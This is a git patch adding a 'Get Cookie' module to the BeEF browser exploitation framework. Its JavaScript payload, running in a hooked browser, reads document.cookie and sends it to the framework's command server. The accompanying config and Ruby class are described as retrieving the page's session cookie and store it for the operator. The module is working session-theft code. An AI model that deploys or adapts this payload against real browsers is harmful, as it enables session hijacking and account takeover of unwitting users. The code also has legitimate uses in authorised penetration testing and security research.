From 693ed9cba23a42fcd44e2cac97994f287cf87d08 Mon Sep 17 00:00:00 2001 From: "bcoles@gmail.com" Date: Sat, 1 Oct 2011 14:10:24 +0000 Subject: [PATCH] Added Get Cookie module git-svn-id: https://beef.googlecode.com/svn/trunk@1337 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/browser/get_cookie/command.js | 21 +++++++++++++++++++++ modules/browser/get_cookie/config.yaml | 25 +++++++++++++++++++++++++ modules/browser/get_cookie/module.rb | 24 ++++++++++++++++++++++++ 3 files changed, 70 insertions(+) create mode 100644 modules/browser/get_cookie/command.js create mode 100644 modules/browser/get_cookie/config.yaml create mode 100644 modules/browser/get_cookie/module.rb diff --git a/modules/browser/get_cookie/command.js b/modules/browser/get_cookie/command.js new file mode 100644 index 000000000..9642deea6 --- /dev/null +++ b/modules/browser/get_cookie/command.js @@ -0,0 +1,21 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie); + +}); + diff --git a/modules/browser/get_cookie/config.yaml b/modules/browser/get_cookie/config.yaml new file mode 100644 index 000000000..896ca3c6a --- /dev/null +++ b/modules/browser/get_cookie/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_cookie: + enable: true + category: "Browser" + name: "Get Cookie" + description: "This module will retrieve the session cookie from the current page." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/get_cookie/module.rb b/modules/browser/get_cookie/module.rb new file mode 100644 index 000000000..860e9a1b1 --- /dev/null +++ b/modules/browser/get_cookie/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_cookie < BeEF::Core::Command + + def post_execute + content = {} + content['cookie'] = @datastore['cookie'] + save content + end + +end